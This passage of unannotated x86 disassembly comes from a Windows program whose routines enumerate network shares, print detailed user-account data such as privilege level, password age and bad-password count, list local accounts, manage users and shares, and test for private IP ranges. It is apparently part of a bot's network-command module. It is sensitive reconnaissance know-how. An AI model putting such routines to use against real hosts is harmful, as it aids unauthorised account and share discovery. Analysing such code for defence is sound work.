		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_410819
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_49155C
		pop	edi
		leave
		retn
sub_410794	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410819	proc near		; CODE XREF: sub_410794+Ap
					; sub_410794+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_410826
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_410826:				; CODE XREF: sub_410819+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_4953EC
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_416765
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410819	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41086A	proc near		; CODE XREF: sub_40107Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_410819
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_410819
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_491534
		pop	esi
		retn
sub_41086A	endp

; ---------------------------------------------------------------------------
		db 8 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410895	proc near		; CODE XREF: sub_4011A9j

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_410819
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 18h


loc_4108CE:				; CODE XREF: sub_410895+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4915A8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_410931
		cmp	ebx, 0EAh
		jz	short loc_410931
		push	ebx
		push	ebx
		call	sub_411235
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_430ED4
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 24h
		jmp	short loc_41099E
; ---------------------------------------------------------------------------


loc_410931:				; CODE XREF: sub_410895+5Dj
					; sub_410895+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_410995
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_41093F:				; CODE XREF: sub_410895+FCj
		push	dword ptr [esi+10h]
		call	dword_491550	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_410956
		mov	eax, offset aNo	; "No"


loc_410956:				; CODE XREF: sub_410895+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_41093F
		xor	esi, esi


loc_410995:				; CODE XREF: sub_410895+A2j
		push	[ebp+var_4]
		call	dword_4916EC


loc_41099E:				; CODE XREF: sub_410895+9Aj
		cmp	ebx, 0EAh
		jz	loc_4108CE
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_410895	endp

; ---------------------------------------------------------------------------
		db 48h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109FE	proc near		; CODE XREF: sub_40102Dj

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_410AA2
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_410A40
		dec	eax
		jz	short loc_410A35
		dec	eax
		jnz	short loc_410A5B
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_401271
		add	esp, 14h
		jmp	short loc_410A57
; ---------------------------------------------------------------------------


loc_410A35:				; CODE XREF: sub_4109FE+1Dj
		push	ebx
		push	edi
		call	sub_40105A
		pop	ecx
		pop	ecx
		jmp	short loc_410A57
; ---------------------------------------------------------------------------


loc_410A40:				; CODE XREF: sub_4109FE+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_410A54
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_4012BC
		add	esp, 0Ch
		jmp	short loc_410A57
; ---------------------------------------------------------------------------


loc_410A54:				; CODE XREF: sub_4109FE+45j
		push	57h
		pop	eax


loc_410A57:				; CODE XREF: sub_4109FE+35j
					; sub_4109FE+40j ...
		cmp	eax, edi
		jnz	short loc_410A7B


loc_410A5B:				; CODE XREF: sub_4109FE+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_491F34
		push	off_43064C[eax*4]
		push	offset unk_430FD0
		push	esi
		call	sub_416821
		add	esp, 10h
		jmp	short loc_410AC2
; ---------------------------------------------------------------------------


loc_410A7B:				; CODE XREF: sub_4109FE+5Bj
		push	eax
		call	sub_411235
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_491F34
		push	off_430648[eax*4]
		push	offset unk_430F8C
		push	esi
		call	sub_416821
		add	esp, 18h
		jmp	short loc_410AC2
; ---------------------------------------------------------------------------


loc_410AA2:				; CODE XREF: sub_4109FE+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_491F34
		lea	eax, [eax+eax*2]
		push	off_430648[eax*4]
		push	offset unk_430F50
		push	esi
		call	sub_416821
		add	esp, 0Ch


loc_410AC2:				; CODE XREF: sub_4109FE+7Bj
					; sub_4109FE+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4109FE	endp

; ---------------------------------------------------------------------------
		db 32h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AFB	proc near		; CODE XREF: sub_4012BCj

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_410819
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_410819
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_410819
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_491540
		pop	edi
		leave
		retn
sub_410AFB	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410B6B	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_410819
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_410819
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_491530
		pop	esi
		retn
sub_410B6B	endp

; ---------------------------------------------------------------------------
		db 8 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B94	proc near		; CODE XREF: sub_401271j

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_410819
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_410819
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4916B4
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_410F21
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_410F5C
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_416821
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_410CAD
		dec	eax
		jz	short loc_410CA6
		dec	eax
		jz	short loc_410C9F
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_410CB2
; ---------------------------------------------------------------------------


loc_410C9F:				; CODE XREF: sub_410B94+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_410CB2
; ---------------------------------------------------------------------------


loc_410CA6:				; CODE XREF: sub_410B94+FFj
		mov	eax, offset aUser_2 ; "User"
		jmp	short loc_410CB2
; ---------------------------------------------------------------------------


loc_410CAD:				; CODE XREF: sub_410B94+FCj
		mov	eax, offset aGuest ; "Guest"


loc_410CB2:				; CODE XREF: sub_410B94+109j
					; sub_410B94+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_4010D2
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_410F4D
; ---------------------------------------------------------------------------


loc_410F21:				; CODE XREF: sub_410B94+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431000
		push	eax
		call	sub_416821
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4010D2
		add	esp, 20h


loc_410F4D:				; CODE XREF: sub_410B94+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_410F5C
		push	[ebp+var_4]
		call	dword_4916EC


loc_410F5C:				; CODE XREF: sub_410B94+40j
					; sub_410B94+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_410B94	endp

; ---------------------------------------------------------------------------
		db 0F3h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411055	proc near		; CODE XREF: sub_4011FEj

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_410819
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 18h


loc_411094:				; CODE XREF: sub_411055+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4915C4
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4110F5
		cmp	eax, 0EAh
		jz	short loc_4110F5
		push	eax
		push	eax
		call	sub_411235
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_431228
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 24h
		jmp	short loc_411170
; ---------------------------------------------------------------------------


loc_4110F5:				; CODE XREF: sub_411055+62j
					; sub_411055+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_411183
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_411170


loc_411107:				; CODE XREF: sub_411055+EDj
		cmp	edi, esi
		jz	short loc_411146
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_3	; "  %S"
		push	eax
		call	sub_416821
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_411107
		jmp	short loc_411170
; ---------------------------------------------------------------------------


loc_411146:				; CODE XREF: sub_411055+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4311E0
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 1Ch


loc_411170:				; CODE XREF: sub_411055+9Ej
					; sub_411055+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_411183
		push	edi
		call	dword_4916EC
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_411183:				; CODE XREF: sub_411055+A5j
					; sub_411055+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_411094
		cmp	edi, esi
		jz	short loc_41119B
		push	edi
		call	dword_4916EC


loc_41119B:				; CODE XREF: sub_411055+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_416821
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4010D2
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_411055	endp

; ---------------------------------------------------------------------------
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411235	proc near		; CODE XREF: sub_410626+41p
					; sub_410895+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_4112E7
		jz	loc_4112E0
		cmp	eax, 7Bh
		ja	short loc_4112AC
		jz	short loc_4112A2
		cmp	eax, 5
		jz	short loc_411298
		cmp	eax, 8
		jz	short loc_41128E
		cmp	eax, 32h
		jz	short loc_411284
		cmp	eax, 35h
		jz	short loc_41127A
		cmp	eax, 57h
		jnz	loc_411336
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_411357
; ---------------------------------------------------------------------------


loc_41127A:				; CODE XREF: sub_411235+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_411357
; ---------------------------------------------------------------------------


loc_411284:				; CODE XREF: sub_411235+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_411357
; ---------------------------------------------------------------------------


loc_41128E:				; CODE XREF: sub_411235+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_411357
; ---------------------------------------------------------------------------


loc_411298:				; CODE XREF: sub_411235+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_411357
; ---------------------------------------------------------------------------


loc_4112A2:				; CODE XREF: sub_411235+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_411357
; ---------------------------------------------------------------------------


loc_4112AC:				; CODE XREF: sub_411235+1Aj
		sub	eax, 7Ch
		jz	short loc_4112D9
		sub	eax, 7C8h
		jz	short loc_4112D2
		dec	eax
		jz	short loc_4112C8
		dec	eax
		jnz	short loc_411336
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_411357
; ---------------------------------------------------------------------------


loc_4112C8:				; CODE XREF: sub_411235+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_411357
; ---------------------------------------------------------------------------


loc_4112D2:				; CODE XREF: sub_411235+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_4112D9:				; CODE XREF: sub_411235+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_4112E0:				; CODE XREF: sub_411235+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: sub_411235+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_411320
		jz	short loc_411319
		sub	eax, 8ADh
		jz	short loc_41134B
		dec	eax
		dec	eax
		jz	short loc_411312
		dec	eax
		jz	short loc_41130B
		dec	eax
		dec	eax
		jnz	short loc_411336
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_41130B:				; CODE XREF: sub_411235+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_411312:				; CODE XREF: sub_411235+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_411319:				; CODE XREF: sub_411235+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_411320:				; CODE XREF: sub_411235+B9j
		sub	eax, 8CAh
		jz	short loc_411352
		sub	eax, 17h
		jz	short loc_41134B
		sub	eax, 25h
		jz	short loc_411344
		sub	eax, 29h
		jz	short loc_41133D


loc_411336:				; CODE XREF: sub_411235+35j
					; sub_411235+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_41133D:				; CODE XREF: sub_411235+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_411344:				; CODE XREF: sub_411235+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_41134B:				; CODE XREF: sub_411235+C2j
					; sub_411235+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_411357
; ---------------------------------------------------------------------------


loc_411352:				; CODE XREF: sub_411235+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_411357:				; CODE XREF: sub_411235+40j
					; sub_411235+4Aj ...
		push	offset dword_491CD4
		call	sub_416821
		pop	ecx
		mov	eax, offset dword_491CD4
		pop	ecx
		retn
sub_411235	endp

; ---------------------------------------------------------------------------
		db 4Dh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113B6	proc near		; CODE XREF: sub_40127Bj

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_417D0C
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	ds:dword_4953F0	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_417D0C
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_417CEF
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_49166C
		test	eax, eax
		jnz	short loc_411446
		mov	esi, offset dword_491AD0
		push	offset unk_431604
		push	esi
		call	sub_416821
		pop	ecx
		pop	ecx
		jmp	short loc_41146F
; ---------------------------------------------------------------------------


loc_411446:				; CODE XREF: sub_4113B6+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_411235
		pop	ecx
		mov	esi, offset dword_491AD0
		push	eax
		push	offset unk_4315C4
		push	esi
		call	sub_416821
		add	esp, 14h


loc_41146F:				; CODE XREF: sub_4113B6+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4113B6	endp

; ---------------------------------------------------------------------------
		db 2Fh dup(0CCh)
; ---------------------------------------------------------------------------


loc_4114A3:				; CODE XREF: .text:0040111Dj
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword ptr [ebp+8], 0
		push	esi
		push	edi
		jz	loc_411535
		push	offset byte_4370BC
		push	dword ptr [ebp+8]
		call	sub_416B70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411535
		push	20h
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+8]
		push	eax
		call	sub_416A10
		mov	esi, offset a__0 ; "."
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		call	sub_4176C0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411535
		push	eax
		call	sub_416CCF
		push	esi
		push	0
		mov	edi, eax
		call	sub_4176C0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_411535
		push	eax
		call	sub_416CCF
		cmp	edi, 0Ah
		pop	ecx
		jz	short loc_411530
		cmp	edi, 0ACh
		jnz	short loc_411521
		cmp	eax, 0Fh
		jle	short loc_411535
		cmp	eax, 20h
		jl	short loc_411530


loc_411521:				; CODE XREF: .text:00411515j
		cmp	edi, 0C0h
		jnz	short loc_411535
		cmp	eax, 0A8h
		jnz	short loc_411535


loc_411530:				; CODE XREF: .text:0041150Dj
					; .text:0041151Fj
		push	1
		pop	eax
		jmp	short loc_411537
